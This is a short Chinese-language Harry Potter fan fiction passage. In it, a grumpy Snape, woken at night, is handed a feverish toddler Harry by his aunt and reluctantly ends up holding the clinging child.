只是刚刚接触到柔软的床单——陷入沉睡的时间比他预想的早那么一些,睡眠的深度也比他想象的要深沉一点。
这本是一个完美的夜晚。
但是!
到底是谁在深夜敲响了他的门?
他怒气冲冲地打开门,刚对上门外那双因诧异而微微瞪大的浅灰色眼睛。
砰——他又用力把门关上。
他有时候真讨厌邓布利多的自作主张——把那顶可笑的帽子从头上摘下来,扔到墙角,他这辈子都不会想看到它了,再从玄关取下他的外袍,从头到脚裹得严严实实,任何人都不可能看见他舒适的灰色法兰绒睡衣和他穿在脚上的灰色长袜。
他深深吸了一口气,才再度拉开门。
救世主为什么偏偏在这个夜晚发生了魔力暴动?
以及一个三岁的小孩怎么就魔力暴动了?
但瞧瞧那个女人的神情,斯内普咬牙切齿地想,她好像笃定他生的病同他们有关系似的。
这是你们的救世主,她的神情仿佛在说,不管他他就要死了。
她脸上的表情如此理直气壮,就好像他真的非得管她一样。
把他们扔进臭水沟里,西弗勒斯,他们的救世主关你什么事,这还是一个波特,你不是早发誓不让任何一个波特随意地靠近你了吗?
他怒气冲冲地瞪着那没有礼貌不请自来深夜扰人好梦的救世主姨妈,动作僵硬地把房门拉开了一点。
让她好好求求你,西弗勒斯,好好欣赏欣赏那张总是理直气壮又一副理所当然的脸上露出的惶恐的表情,这时候你再勉为其难地使用漂浮咒把救世主拎过来看一下。
可门缝刚打开一点,一个裹得严严实实,散发着热气的,还在咕涌的东西,就猝不及防地被塞进了他的怀里。
——梅林啊——救世主怎么比一锅装满了魔药的坩埚还沉。
这不是重点。
——他一下闻到柠檬和牛奶的气息。
这也不是重点。
重点是救世主的双手怎么就环到了他的脖子上?——他的另外一只手还在黑袍下紧紧拉着他袍子的外缘,以免泄露一丁点他灰色的睡衣还有灰色的袜子。
哈啰,有人来救救他吗?
有人能来救救今夜如此可怜的他吗?
他怎么又被!这该死的波特!缠上了!